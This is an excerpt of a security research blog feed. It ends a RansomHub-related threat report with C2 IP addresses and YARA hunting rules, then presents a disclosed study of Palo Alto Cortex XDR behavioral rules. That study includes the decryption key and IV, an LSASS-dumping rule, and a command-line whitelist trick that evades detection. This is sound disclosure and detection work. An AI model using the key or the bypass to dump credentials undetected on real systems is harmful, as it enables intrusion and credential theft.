&lt;td&gt;Baxet Group Inc.&lt;/td&gt;
&lt;td&gt;July 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;92.118.112.143&lt;/td&gt;
&lt;td&gt;AS215540&lt;/td&gt;
&lt;td&gt;GLOBAL CONNECTIVITY SOLUTIONS LLP&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;29.06.2025&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;45.82.85.50&lt;/td&gt;
&lt;td&gt;AS36352&lt;/td&gt;
&lt;td&gt;HostPapa&lt;/td&gt;
&lt;td&gt;January 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;185.72.8.121&lt;/td&gt;
&lt;td&gt;AS26383&lt;/td&gt;
&lt;td&gt;Baxet Group Inc.&lt;/td&gt;
&lt;td&gt;February 2026&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;joealdana.com (185.180.198.3)&lt;/td&gt;
&lt;td&gt;AS14576&lt;/td&gt;
&lt;td&gt;Hosting Solution Ltd.&lt;/td&gt;
&lt;td&gt;19.09.2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.whois.com/whois/joealdana.com&quot;&gt;whois&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;185.72.8.137&lt;/td&gt;
&lt;td&gt;AS26383&lt;/td&gt;
&lt;td&gt;Baxet Group Inc.&lt;/td&gt;
&lt;td&gt;October 2025&lt;/td&gt;
&lt;td&gt;Still Active&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://threatfox.abuse.ch/browse/malware/win.ransomhub/&quot;&gt;threatfox&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Yara Rules&lt;/h2&gt;
&lt;p&gt;The following Yara Rules have been used for hunting on VirusTotal; therefore, some depend on VirusTotal&apos;s exclusive modules.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rule AV_match_shcoil {
    meta:
        author = &quot;Evgen Blohm @ InfoGuard AG&quot;
        description = &quot;Hunt for samples that have ShadowCoil related AV matches that often also used for VIPERTUNNEL samples&quot;
        date = &quot;2025-02-09&quot;
    condition:
        for any engine, signature in vt.metadata.signatures : (
            signature contains &quot;ShCoil&quot; or signature contains &quot;ShadowCoil&quot;
        )
}

rule ShadowCoil_Packed_Python
{
    meta:
        author = &quot;YungBinary&quot;
        description = &quot;Modified the original rule &quot;
        target_entity = &quot;file&quot;
        source = &quot;https://www.esentire.com/blog/unpacking-shadowcoils-ransomhub-ex-affiliate-credential-harvesting-tool&quot;
    strings:
        $a = &quot;exec(pc_start(&quot; ascii
        $b = &quot;get_hw_key():&quot; ascii
        $c = &quot;&apos;vm&apos;, &apos;virtual&apos;&quot; ascii
        $d = &quot;TracerPid:&quot; ascii
    condition:
        vt.metadata.file_type == vt.FileType.PYTHON and filesize &amp;lt; 60KB and all of them
}

rule MALWARE_vipertunnel {
    meta:
        author = &quot;Evgen Blohm&quot;
        description = &quot;hunting rule for socks5 backdoor aka VIPERTUNNEL&quot;
    
    strings:
        // Unique Class Names and Functions
        $class1 = &quot;class Wire(&quot; ascii wide
        $class2 = &quot;class Relay(&quot; ascii wide
        $class3 = &quot;class Commander(&quot; ascii wide
        $class4 = &quot;class ControllerCommandConnection&quot; ascii wide
        $class5 = &quot;class MySocket&quot; ascii wide
        $class6 = &quot;class MyServiceSocket&quot; ascii wide
        $class7 = &quot;class Handler&quot; ascii wide
        
        // Custom Exception Names
        $exc1 = &quot;ConnectionTimeoutOccuredError&quot; ascii wide
        $exc2 = &quot;BadLengthData&quot; ascii wide
        $exc3 = &quot;CloseException&quot; ascii wide
        $exc4 = &quot;ExitException&quot; ascii wide
        $exc5 = &quot;ConnectionClosedError&quot; ascii wide
        $exc6 = &quot;ConnectionResetError&quot; ascii wide
        $exc7 = &quot;ConnectionAbortedError&quot; ascii wide
        $exc8 = &quot;ConnectionRefusedError&quot; ascii wide

        // Logic-specific strings
        $logic1 = &quot;self.must_equal = &quot; ascii wide
        $logic2 = &quot;struct.unpack(&apos;BBB&apos;, self.&quot; ascii wide
        $logic3 = &quot;def _bridge(self):&quot; ascii wide
        $logic4 = &quot;socket.socket = Wire&quot; ascii wide

        // unique variables
        $var1 = &quot;main_flag_to_close&quot; ascii wide
        $var2 = &quot;TIMEOUT_FOR_SOCKET_OPERATION&quot; ascii wide

        // Unique Identifiers
        $user = &quot;AnyLogin&quot; ascii wide
        $secret = &quot;AnyPassword&quot; ascii wide

    condition:
        filesize &amp;lt; 60KB and vt.metadata.file_type == vt.FileType.PYTHON and (
            (3 of ($class*) and 3 of ($exc*)) or
            (2 of ($class*) and 2 of ($exc*) and 1 of ($logic*) and 1 of ($var*)) or 
            ($user and $secret)
        )
}

rule MALWARE_vipertunnel_typos{
    meta:
        description = &quot;Hunting for ViperTunnel Python Proxies using some left over typos&quot;
    strings:
        $typo1 = &quot;__setatrr__&quot; ascii wide // __setattr__
        $typo2 = &quot;deamon&quot; ascii wide // daemon
        $typo3 = &quot;allow_no_verifing&quot; ascii wide // allow_no_verifying
        $typo4 = &quot;ConnectionTimeoutOccuredError&quot; ascii wide // ConnectionTimeoutOccurredError
        $typo5 = &quot;% ((target&quot; ascii wide // logged as tuple

    condition:
        filesize &amp;lt; 60KB and vt.metadata.file_type == vt.FileType.PYTHON and (
            (3 of ($typo*))
        )
}

rule MALWARE_vipertunnel_obfuscation {
    meta:
        author = &quot;Evgen Blohm&quot;
        description = &quot;Finding files using the same obfuscation as in IR1361&quot;

    strings:
        // decoding/decryption related keywords
        $crypto1 = &quot;b85decode&quot; ascii wide
        $crypto2 = &quot;PBKDF2&quot; ascii wide
        $crypto3 = &quot;HKDF&quot; ascii wide
        $crypto4 = &quot;MODE_GCM&quot; ascii wide
        $crypto5 = &quot;MODE_CTR&quot; ascii wide
        $crypto6 = &quot;ChaCha20&quot; ascii wide
        $crypto7 = &quot;blake3&quot; ascii wide

        // dynamically imported functions
        $imp1 = &quot;join&quot; ascii wide
        $imp2 = &quot;chr&quot; ascii wide
        $imp3 = &quot;map&quot; ascii wide
        $imp4 = &quot;map&quot; ascii wide
        $imp5 = &quot;zip&quot; ascii wide
        $imp6 = &quot;bytes&quot; ascii wide
        $imp7 = &quot;getattr&quot; ascii wide
        $imp8 = &quot;builtins&quot; ascii wide

        // static imports
        $s_imp1 = &quot;import zlib&quot; ascii wide
        $s_imp2 = &quot;import sys&quot; ascii wide
        $s_imp3 = &quot;import base64&quot; ascii wide
        $s_imp4 = &quot;import AES&quot; ascii wide
        $s_imp5 = &quot;import SHA256&quot; ascii wide
        $s_imp6 = &quot;import os&quot; ascii wide
        $s_imp7 = &quot;import blake3&quot; ascii wide
        $s_imp8 = &quot;import hashlib&quot; ascii wide

        // base85 encoded chars/strings
        $enc4 = &quot;WNBw*b94&quot; ascii wide // digest
        $enc5 = &quot;WMyM=d2n&amp;lt;&quot; ascii wide // decrypt
        $enc6 = &quot;V{dhCbN&quot; ascii wide // count
        $enc7 = &quot;Zf|a5Wd&quot; ascii wide // nonce
        $enc8 = &quot;WMyM=d2n=JVQyq!c4cyDW_b&quot; ascii wide // decrypt_and_verify
        $enc9 = &quot;Wq4&amp;amp;{&quot; ascii wide // exec

    condition:
        vt.metadata.file_type == vt.FileType.PYTHON and filesize &amp;lt; 40KB and (
            (3 of ($crypto*) and 3 of ($imp*) and 2 of ($s_imp*) and 2 of ($enc*))
        )
}

rule MALWARE_vipertunnel_obfuscation_old {
    meta:
        author = &quot;Evgen Blohm&quot;
        description = &quot;&quot;
    strings:
        $func1 = &quot;decode(&apos;utf-8&apos;)&quot; ascii wide
        $func2 = &quot;int.from_bytes&quot; ascii wide
        $func3 = &quot;while True:&quot; ascii wide
        $func4 = &quot;sys.exit(0)&quot; ascii wide

        $imp1 = &quot;import blake3&quot; ascii wide
        $imp2 = &quot;import base64&quot; ascii wide
        $imp3 = &quot;import hashlib&quot; ascii wide

    condition:
        filesize &amp;gt; 10KB and filesize &amp;lt; 80KB and vt.metadata.file_type == vt.FileType.PYTHON and (
            (3 of ($func*) and 3 of ($imp*))
        )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hashes&lt;/h2&gt;
&lt;p&gt;All Files were uploaded to VirusTotal and saved in a &lt;a href=&quot;https://www.virustotal.com/gui/collection/9aad0660aab454640f1de14d4a91a9aa9fca878dafce032f4f0ade1c351eb67e/iocs&quot;&gt;Collection&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>Evgen Blohm</author></item><item><title>Decrypting and Abusing Predefined BIOCs in Palo Alto Cortex XDR</title><link>https://labs.infoguard.ch/posts/decrypting-and-abusing_paloalto-cortex-xdr_behavioral-rules_biocs/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/decrypting-and-abusing_paloalto-cortex-xdr_behavioral-rules_biocs/</guid><description>The Behavioral Indicators of Compromise (BIOCs) of Cortex XDR contain numerous exceptions, including global whitelists that can be abused to evade detection even when using simple and well-known TTPs.</description><pubDate>Fri, 13 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Summary&lt;/h1&gt;
&lt;p&gt;The Windows Cortex XDR agent uses &lt;a href=&quot;https://www.clipsrules.net/&quot;&gt;CLIPS&lt;/a&gt; rules for behavioral detections. These rules are shipped encrypted in content updates. We decrypted these rules and discovered numerous hardcoded exceptions including global whitelists that can be abused to bypass those rules. For example, if a process&apos;s command-line arguments contain &lt;code&gt;:\Windows\ccmcache&lt;/code&gt;, it is excluded from about half of all behavioral detections. This allows an attacker, for example, to dump LSASS using simple, well-known techniques without detection.&lt;/p&gt;
&lt;p&gt;We initially looked at the Cortex Windows agent versions &lt;code&gt;8.7&lt;/code&gt; and &lt;code&gt;8.8&lt;/code&gt; with content version &lt;code&gt;1790-16658&lt;/code&gt;. Palo Alto removed the global whitelists in Agent Version &lt;code&gt;9.1&lt;/code&gt; with content version &lt;a href=&quot;https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-Content-Update-Releases/Cortex-XDR-Content-Releases&quot;&gt;2160&lt;/a&gt; at the end of February 2026.&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;EDR/XDR agents such as Palo Alto Cortex XDR use different methods for detection, such as static signature-based detections, local file analysis, or machine-learning-based detections. Among the most important of these are the Behavioral Indicators of Compromise (BIOCs) rules.
During a recent red team engagement, we noticed that Cortex XDR agent 8.8 detected several techniques in our payload that were previously undetected. The Cortex portal provides limited details on what exactly triggered the alert. With some exceptions, such as Elastic or HarfangLab, most vendors maintain a closed detection rule set.
Therefore, we tried to access the actual predefined rules, which are regularly updated through &lt;a href=&quot;https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/Cortex-XDR-Content-Update-Releases/Cortex-XDR-Content-Releases&quot;&gt;content updates&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Finding and Decrypting the Rules&lt;/h1&gt;
&lt;p&gt;The content updates include numerous files:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls content-1790-16658
ace-sandbox-plugin-dev-win-x86_64.zip          network_inspect_policies_encrypted-64.zip
ace-sandbox-plugin-no-ocr-prod-win-x86_64.zip  network_inspect_policies_encrypted_7_5-64.zip
ace-sandbox-plugin-prod-win-x86_64.zip         network_inspect_policies_encrypted_pre_2025_ev-64.zip
agent_scripts_win_arm64.zip                    network_inspect_policies_slowroll-64.zip
agent_scripts_win_x64.zip                      network_inspect_policies_threat_hunting.zip
agent_scripts_win_x86.zip                      network_inspect_pre_2025_ev-64.zip
cert.zip                                       network_inspect_slowroll-64.zip
collector-64-legacy.zip                        nmap-win32.zip
collector-64.zip                               payload-32-one-dir-openssl3.zip
content_processed.zip                          payload-32-one-dir.zip
content_raw.zip                                payload-32.zip
cwp-compliance.zip                             payload-64-one-dir.zip
cyber.zip                                      payload-64.zip
dse_config.zip                                 payload-win-arm64-one-dir.zip
dse_ng.zip                                     payload-win-x86_64-one-dir-openssl3.zip
dse.zip                                        payload-win-x86_64-one-dir.zip
edrdotnet_slowroll.zip                         periodic_scripts.zip
edrdotnet.zip                                  pki-fedramp.zip
env.zip                                        pki-gov-fedramp.zip
infra.zip                                      pki.zip
ivanti-content-win.zip                         recognizer_plugin_32.zip
ivanti-deltas-win.zip                          recognizer_plugin_64.zip
local_analysis_plugin_32.zip                   recognizer_plugin_arm64.zip
local_analysis_plugin_64.zip                   threat_hunting_ng.zip
local_analysis_plugin_arm64.zip                threat_hunting.zip
manifest.json                                  tsf_collector.zip
ml_plugin_32.zip                               va-scanner-winx64.zip
ml_plugin_64.zip                               va-scanner-winx86.zip
ml_plugin_8_4_32.zip                           winpmem-32.zip
ml_plugin_8_4_64.zip                           winpmem-64.zip
ml_plugin_arm64.zip                            xdrhealth-32.zip
model_doc_ole_7_2.zip                          xdrhealth-64.zip
model_doc_openXml_7_2.zip                      xdrhealth-ARM64.zip
model_js_8_8.zip                               yara_plugin_32.zip
model_macro_7_1.zip                            yara_plugin_64.zip
model_pe_7_1.zip                               yara_plugin_8_4_32.zip
model_powershell_7_3.zip                       yara_plugin_8_4_64.zip
model_powershell_8_4.zip                       yara_plugin_arm64.zip
model_vbs_8_6.zip                              yara_signature_rules_encrypted_mitre.zip
network_inspect-64.zip                         yara_signature_rules_encrypted.zip
network_inspect_7_5-64.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These files are unzipped into &lt;code&gt;C:\ProgramData\Cyvera\LocalSystem\Download\content\&lt;/code&gt;. As already pointed out by &lt;a href=&quot;https://www.safebreach.com/blog/dark-side-of-edr-offensive-tool/&quot;&gt;this blog post&lt;/a&gt; from SafeBreach, the metadata of behavioral rules is stored in the file &lt;code&gt;dse_rules_config.lua&lt;/code&gt;. The content of this file could already be used to avoid Mimikatz detections by abusing whitelists, as described in the referenced blog post. However, the actual detection logic and other exclusions are not included in this file.&lt;/p&gt;
&lt;p&gt;The content looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[&quot;bioc.ntsystemdebugcontrol_get_eprocess&quot;] = {
    versions = {&quot;8_8_0&quot;,&quot;8_8_0_999&quot;},
    signatureConfiguration =     {
        default =         {
            settings =             {
                action = &quot;silent&quot;,
                friendlyName = &quot;ntsystemdebugcontrol_get_eprocess&quot;,
                technique_id = {&quot;T1055&quot;},
                tactic_id = {&quot;TA0004&quot;,&quot;TA0005&quot;},
                mth_action = &quot;report&quot;,
                mth_severity = 1,
                severity = 4,
                external_description = &quot;Lsass Dump Attempt&quot;,
                module = 2
            }
        }
    }
},
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s not hard to guess where the rules are stored, however, they are encrypted:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\ProgramData\Cyvera\LocalSystem\Download\content&amp;gt; ls dse*


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/18/2025  12:16 AM         195276 dse.lua
-a----         6/18/2025  12:16 AM          23703 dse_common.lua
-a----         6/18/2025  12:16 AM           3228 dse_config_schema.json
-a----         6/18/2025  12:16 AM         133964 dse_internals.json
-a----         6/18/2025  12:16 AM           2998 dse_modules.json
-a----         6/18/2025  12:16 AM        1308480 dse_rules_8_4_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM        1308752 dse_rules_8_5_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM        1311456 dse_rules_8_6_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM        1313808 dse_rules_8_7_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM        1319536 dse_rules_8_8_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM        1319920 dse_rules_8_9_0_windows_encrypt.clp
-a----         6/18/2025  12:16 AM       15273694 dse_rules_config.lua
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Getting Plaintext Rules&lt;/h2&gt;
&lt;p&gt;To identify where and how these files are decrypted, I used ProcMon to get the stack trace for the read operation on the &lt;code&gt;dse_rules_8_7_0_windows_encrypt.clp&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;procmon_stacktrace_readfile_encrypt.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Fortunately, &lt;code&gt;cysvc.dll&lt;/code&gt; includes debug strings, which were used to rename functions in IDA Pro with a small script.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;debug_prints.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There is a function called &lt;code&gt;dse::ClipsEngineFilter::DecryptClpData()&lt;/code&gt; that sounded promising. Using WinDBG as a Kernel-Debugger to avoid EDR&apos;s self-protection mechanisms, I set a breakpoint at this function. I then analyzed the decompiled code to infer the purpose of the function&apos;s four input parameters. We found that LLMs are quite effective at helping to interpret decompiled code and suggest the purpose of the parameters.&lt;/p&gt;
&lt;p&gt;As shown in the following, the first parameter is the encrypted content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; dps rcx L1
000001ff`12ff4f80  000001ff`27c90020
kd&amp;gt; db 000001ff`27c90020
000001ff`27c90020  6f c4 62 6e dd 4e d9 99-16 32 5a e2 0a e4 b5 07  o.bn.N...2Z.....
000001ff`27c90030  cf 78 be c5 ec 7d 8f c6-29 5a f4 69 a9 fc 79 cb  .x...}..)Z.i..y.
000001ff`27c90040  29 42 7c 9d d4 93 09 ff-d3 00 90 e5 f1 7d f7 ba  )B|..........}..
000001ff`27c90050  b1 e7 07 f4 a8 2d c5 00-62 95 f5 cc 0e ff 48 5e  .....-..b.....H^
000001ff`27c90060  bd d3 e4 73 65 12 96 31-aa 0c 27 d0 70 8b b6 84  ...se..1..&apos;.p...
000001ff`27c90070  7c bf e2 3e 80 7d d8 2a-a0 c3 29 5e c4 3e b8 d8  |..&amp;gt;.}.*..)^.&amp;gt;..
000001ff`27c90080  9f 62 01 58 a0 3f 26 38-97 b1 f8 e2 15 c2 7f d2  .b.X.?&amp;amp;8........
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ hexdump -C dse_rules_8_7_0_windows_encrypt.clp                                                                           
00000000  6f c4 62 6e dd 4e d9 99  16 32 5a e2 0a e4 b5 07  |o.bn.N...2Z.....|
00000010  cf 78 be c5 ec 7d 8f c6  29 5a f4 69 a9 fc 79 cb  |.x...}..)Z.i..y.|
00000020  29 42 7c 9d d4 93 09 ff  d3 00 90 e5 f1 7d f7 ba  |)B|..........}..|
00000030  b1 e7 07 f4 a8 2d c5 00  62 95 f5 cc 0e ff 48 5e  |.....-..b.....H^|
00000040  bd d3 e4 73 65 12 96 31  aa 0c 27 d0 70 8b b6 84  |...se..1..&apos;.p...|
00000050  7c bf e2 3e 80 7d d8 2a  a0 c3 29 5e c4 3e b8 d8  ||..&amp;gt;.}.*..)^.&amp;gt;..|
00000060  9f 62 01 58 a0 3f 26 38  97 b1 f8 e2 15 c2 7f d2  |.b.X.?&amp;amp;8........|
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The second parameter includes a JSON document with part of the decryption key while the third parameter is not related to the encryption.&lt;/p&gt;
&lt;p&gt;The fourth parameter contains the decrypted content upon the function&apos;s completion:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; dps r9 L1
00000080`a47fd880  00000000`00000000
kd&amp;gt; pt
cysvc!CySvcServiceHandler+0x89a724:
0033:00007ffc`4f50e3b4 c3              ret
kd&amp;gt; dps 00000080`a47fd880
00000080`a47fd880  000001ff`18800020
kd&amp;gt; db 000001ff`18800020
000001ff`18800020  28 64 65 66 74 65 6d 70-6c 61 74 65 20 69 6e 74  (deftemplate int
000001ff`18800030  65 72 6e 61 6c 2e 64 65-62 75 67 5f 62 75 69 6c  ernal.debug_buil
000001ff`18800040  64 5f 74 69 6d 65 73 74-61 6d 70 20 28 73 6c 6f  d_timestamp (slo
000001ff`18800050  74 20 63 69 64 29 20 28-73 6c 6f 74 20 70 72 69  t cid) (slot pri
000001ff`18800060  6f 29 20 28 73 6c 6f 74-20 74 69 6d 65 73 74 61  o) (slot timesta
000001ff`18800070  6d 70 29 20 28 73 6c 6f-74 20 62 75 69 6c 64 5f  mp) (slot build_
000001ff`18800080  74 69 6d 65 73 74 61 6d-70 29 29 0a 28 64 65 66  timestamp)).(def
000001ff`18800090  74 65 6d 70 6c 61 74 65-20 64 69 72 65 63 74 6f  template directo
kd&amp;gt; .writemem C:\tmp\dse_decrypt_dump.txt 000001ff18800020 000001ff18800020+00852647
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The plaintext CLIPS rules were then dumped to a file using &lt;code&gt;.writemem&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Getting Decryption Keys&lt;/h2&gt;
&lt;p&gt;Identifying the algorithm, key, and IV was relatively straightforward with assistance from an LLM.&lt;/p&gt;
&lt;p&gt;A hardcoded string is present in the binary, but only a portion of it is used as the key (maybe this is supposed to be a obfuscation technique):
&lt;img src=&quot;key_1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Another part is in a lua file which is stored on disk in plaintext:
&lt;img src=&quot;key_2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;These two strings are combined to the following key material:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Algorithm: aes-256-cbc
Key: gstHaxzjfuS1u=EsVU#QbD#d@MPhj!58
IV:  HXZnRN5f*Gg$akQD
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using CyberChef, it can be confirmed, that the key material is correct:
&lt;img src=&quot;decrypted_rules.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The keys seem to be the same across tenants and versions.&lt;/p&gt;
&lt;h1&gt;Abusing Exceptions and Whitelists&lt;/h1&gt;
&lt;p&gt;Many of the rules have simple exceptions that can be abused to bypass them. The following is an example of how to use a well-known method to dump &lt;code&gt;LSASS&lt;/code&gt; using &lt;code&gt;ProcDump&lt;/code&gt; from SysInternals.&lt;/p&gt;
&lt;p&gt;Usually, this activity is detected and prevented:
&lt;img src=&quot;lsass1_procdump_blocked.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can check the rule which was triggered:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(defrule bioc.sync.procdump.1
  (read_virtual_memory
    (cid ?cid)
    (instance_id ?instance_id)
    (user_generic_value1 ?user_generic_value1_4
      &amp;amp;: (and
            (integerp ?user_generic_value1_4)
            (eq (bit_and ?user_generic_value1_4 ?*Is_lsass_process*) ?*Is_lsass_process*)
            (eq (bit_and ?user_generic_value1_4 ?*is_werfault_process*) 0)))
    (bytes_copied 4)
    (base_address ?base_address_4)
    (buffer &quot;40000000&quot;)
    (timestamp ?timestamp_4))
  (read_virtual_memory
    (cid ?cid)
    (instance_id ?instance_id)
    (user_generic_value1 ?user_generic_value1_3
      &amp;amp;: (and
            (integerp ?user_generic_value1_3)
            (eq (bit_and ?user_generic_value1_3 ?*Is_lsass_process*) ?*Is_lsass_process*)
            (eq (bit_and ?user_generic_value1_3 ?*is_werfault_process*) 0)))
    (bytes_copied 4)
    (base_address ?base_address_3
      &amp;amp;: (eq (bit_and ?base_address_4 -4294967296) (bit_and ?base_address_3 -4294967296)))
    (buffer &quot;68000000&quot;)
    (timestamp ?timestamp_3
      &amp;amp;: (and
            (&amp;gt;= ?timestamp_4 ?timestamp_3)
            (is_in_time_frame 20000000 ?timestamp_4 ?timestamp_3))))
  (read_virtual_memory
    (cid ?cid)
    (instance_id ?instance_id)
    (user_generic_value1 ?user_generic_value1_2
      &amp;amp;: (and
            (integerp ?user_generic_value1_2)
            (eq (bit_and ?user_generic_value1_2 ?*Is_lsass_process*) ?*Is_lsass_process*)
            (eq (bit_and ?user_generic_value1_2 ?*is_werfault_process*) 0)))
    (bytes_copied 8)
    (base_address ?base_address_2
      &amp;amp;: (eq (bit_and ?base_address_3 -4294967296) (bit_and ?base_address_2 -4294967296)))
    (buffer ?buffer_2
      &amp;amp;: (eq ?base_address_2 (parse_hex (hex_reverse_byte_order ?buffer_2))))
    (timestamp ?timestamp_2
      &amp;amp;: (and
            (&amp;gt;= ?timestamp_3 ?timestamp_2)
            (is_in_time_frame 20000000 ?timestamp_3 ?timestamp_2))))
  (read_virtual_memory
    (cid ?cid)
    (instance_id ?instance_id)
    (user_generic_value1 ?user_generic_value1_1
      &amp;amp;: (and
            (integerp ?user_generic_value1_1)
            (eq (bit_and ?user_generic_value1_1 ?*Is_lsass_process*) ?*Is_lsass_process*)
            (eq (bit_and ?user_generic_value1_1 ?*is_werfault_process*) 0)))
    (bytes_copied 8)
    (base_address ?base_address_1
      &amp;amp;: (eq (bit_and ?base_address_2 -4294967296) (bit_and ?base_address_1 -4294967296)))
    (timestamp ?timestamp_1
      &amp;amp;: (and
            (&amp;gt;= ?timestamp_2 ?timestamp_1)
            (is_in_time_frame 20000000 ?timestamp_2 ?timestamp_1))))
  (or
    (process_start
      (cid ?cid)
      (instance_id ?instance_id)
      (file_info_description ?file_info_description)
      (command_line ?command_line)
      (file_info_original_name ?file_info_original_name)
      (process_image_path ?process_image_path
        &amp;amp;: (and
              (not
                (or
                  (and
                    (contains_one_of ?process_image_path &quot;windows\\system32&quot; &quot;windows\\syswow64&quot;)
                    (starts_with (file_name ?process_image_path) &quot;werfault&quot;))
                  (contains_one_of (lowcase ?file_info_description) &quot;windows problem reporting&quot; &quot;windows fault reporting&quot;)))
              (not
                (and
                  (or
                    (eq ?file_info_original_name &quot;rdrleakdiag.exe&quot;)
                    (eq (file_name ?process_image_path) &quot;rdrleakdiag.exe&quot;))
                  (not
                    (contains_one_of ?command_line &quot;-fullmemdmp&quot; &quot;/fullmemdmp&quot; &quot;-memdmp&quot; &quot;/memdmp&quot;)))))))
    (not (process_start (cid ?cid) (instance_id ?instance_id))))
  (not (bioc.sync.procdump.1 (cid ?cid) (instance_id ?instance_id)))
  (internal.debug_build_timestamp)
  (not (internal.global_whitelist (cid ?cid)))
  =&amp;gt;
  (assert (bioc.sync.procdump.1 (cid ?cid) (instance_id ?instance_id))))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are several exceptions for &lt;code&gt;werfault&lt;/code&gt; such as:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;(contains_one_of (lowcase ?file_info_description) &quot;windows problem reporting&quot; &quot;windows fault reporting&quot;)))&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After adding this file info description to &lt;code&gt;procdump64.exe&lt;/code&gt; (renamed to test.exe), this rule no longer triggers:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;lsass2_procdump_blocked_other.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However, another rule was triggered because several rules exist to prevent dumping &lt;code&gt;LSASS&lt;/code&gt;. But the rule above contains another interesting exception that allows us to reach the goal faster than bypassing several rules individually:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;(not (internal.global_whitelist (cid ?cid)))&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;global_whitelist&lt;/code&gt; is defined as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(defrule internal.global_whitelist
  ?the_f &amp;lt;- (process_start (cid ?cid) (command_line ?command_line &amp;amp;: (contains_one_of ?command_line &quot;:\\windows\\ccmcache\\&quot;)))
  (not (internal.global_whitelist (cid ?cid)))
  =&amp;gt;
  (assert (internal.global_whitelist (cid ?cid) (prio ?*retention_priority_higher*) (dbg_fact_id (fact-index ?the_f)))))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The bypass is remarkably simple:
&lt;img src=&quot;lsass3_whitelist_example.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;An implant started with this command line could do almost anything on the host without triggering the Cortex detection and prevention rules.&lt;/p&gt;
&lt;h1&gt;Disclosure Timeline&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑07‑28&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;We reported the abuse of the global whitelists to &lt;a href=&quot;https://security.paloaltonetworks.com/report&quot;&gt;Palo Alto Networks&lt;/a&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑08‑11&lt;/strong&gt;&lt;/td&gt;
